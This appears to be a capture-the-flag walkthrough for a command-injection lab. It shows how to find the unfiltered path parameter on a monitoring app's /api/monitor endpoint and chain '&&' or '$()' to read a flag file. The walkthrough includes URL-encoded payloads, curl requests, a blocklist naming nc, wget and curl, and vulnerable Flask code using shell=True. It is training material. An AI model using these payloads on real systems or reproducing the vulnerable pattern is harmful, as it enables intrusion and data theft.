A sophisticated network monitoring platform implements multiple layers of input validation and security controls. But when legitimate monitoring features meet insufficient input sanitization, even the most filtered parameters can become pathways to remote code execution. 🎯 Time to test your filter bypass skills!
Command injection occurs when user input is passed to system commands without proper sanitization. This application implements multiple layers of input filtering, making it a realistic challenge that requires advanced bypass techniques commonly encountered in penetration testing.
Navigate to
The application provides four main endpoints:
/system-info
- Shows running processes
- Network configuration
- Filesystem information/debug
- Environment variables
- Mounted filesystems
- User information/api/monitor
- Advanced monitoring tools
- Network connectivity
- System resource analysis/health
- Basic system health
- Timestamp informationThe most interesting endpoint is /api/monitor. Start by accessing it without parameters to understand its functionality:
# Initial API exploration
GET /api/monitor
# Response reveals default behavior:
{
"status": "success",
"type": "basic",
"results": {
"uptime": "...",
"free -m": "...",
"df -h /": "..."
}
}Key observations from the default response:
type parameter (defaults to "basic")Based on the default response showing system commands and the "basic" type, test common network monitoring types:
# Test common monitoring types
GET /api/monitor?type=ping
GET /api/monitor?type=port
GET /api/monitor?type=disk
GET /api/monitor?type=network
GET /api/monitor?type=scan# Errors reveal required parameters:
# type=ping → needs "target"
# type=port → needs "target", "port"
# type=disk → needs "path"Once you discover the available types and their parameters, test the functionality:
# Ping monitoring
GET /api/monitor?type=ping&target=localhost
# Port scanning
GET /api/monitor?type=port&target=localhost&port=80
# Disk usage analysis
GET /api/monitor?type=disk&path=/
# Observe the responses to understand command executionThrough testing, you'll discover the application implements multiple layers of input validation:
# Test these characters in target parameter:
; & | ` $ ( ) { } < > * ? [ ] ! #
# Result: "Security violation: Blocked characters detected"# Test these commands in target parameter:
rm, cat, ls, bash, sh, nc, wget, curl
# Result: "Security violation: Blocked command detected"After understanding the filtering, look for parameters with different validation rules:
# Test different parameters for injection:
# target parameter: heavily filtered
# port parameter: numeric validation only
# path parameter: basic directory traversal check
# timeout parameter: minimal validation (discovered through port type)Key discovery: The path parameter in disk monitoring only checks for basic directory traversal (..) but doesn't validate against command injection!
The disk monitoring endpoint is vulnerable to command injection through the path parameter. The underlying command structure is:
# Backend command structure
df -h {path}
# This allows command chaining and substitutionThe most reliable exploitation method uses command chaining with the && operator:
# Command chaining syntax
GET /api/monitor?type=disk&path=/tmp && head /home/appuser/flag.txt
# URL encoded version (required for proper transmission)
GET /api/monitor?type=disk&path=/tmp%20%26%26%20head%20/home/appuser/flag.txt
# Breaking down the URL encoding:
# %20 = space character
# %26 = & character
# So %26%26 = &&How this works:
df -h /tmp && head /home/appuser/flag.txtdf -h /tmp) executes successfully and shows disk usage&& operator chains the second commandhead /home/appuser/flag.txt) reads the flag fileExecute the working payload to retrieve the flag:
# Final working payload
GET /api/monitor?type=disk&path=/tmp%20%26%26%20head%20/home/appuser/flag.txt
# Expected response structure:
{
"format": "human",
"path": "/tmp && head /home/appuser/flag.txt",
"result": "Filesystem info...\n[FLAG_CONTENT_HERE]\n",
"status": "success",
"type": "disk_usage"
}
# The flag appears at the end of the "result" field# Command substitution syntax
GET /api/monitor?type=disk&path=/$(head /home/appuser/flag.txt)
# URL encoded
GET /api/monitor?type=disk&path=/%24%28head%20/home/appuser/flag.txt%29
# Note: This method has limitations as the flag content becomes part of the path, causing df to fail# Use different file reading commands
tail /home/appuser/flag.txt
od -c /home/appuser/flag.txt
xxd /home/appuser/flag.txt
more /home/appuser/flag.txt
less /home/appuser/flag.txt# Execute command injection
curl "http:///api/monitor?type=disk&path=/tmp%20%26%26%20head%20/home/appuser/flag.txt"
# Parse JSON response
curl -s "http:///api/monitor?type=disk&path=/tmp%20%26%26%20head%20/home/appuser/flag.txt" | jq -r '.result' The vulnerability exists because:
# Vulnerable Flask code
command = f'df {flag} {path}'
result = subprocess.check_output(command, shell=True)
# When path = "/tmp && head /home/appuser/flag.txt"
# The command becomes:
# df -h /tmp && head /home/appuser/flag.txt
# Both commands execute and their output is combinedKey factors that make this exploitation successful:
# Test various type values
GET /api/monitor?type=test
GET /api/monitor?type=admin
GET /api/monitor?type=debug
# Fuzz parameter names
GET /api/monitor?cmd=test
GET /api/monitor?command=test# Analyze error messages for clues
# Look for parameter hints
# Check for debug information
# Test edge cases and malformed requestsCommand injection vulnerabilities can lead to:
To prevent command injection vulnerabilities:
/home/appuser/flag.txt and can be retrieved using the command chaining technique described above. Look for the UUID in the "result" field of the JSON response.Enter your email to continue
Choose a username to get started
We've sent a 9-character code to your email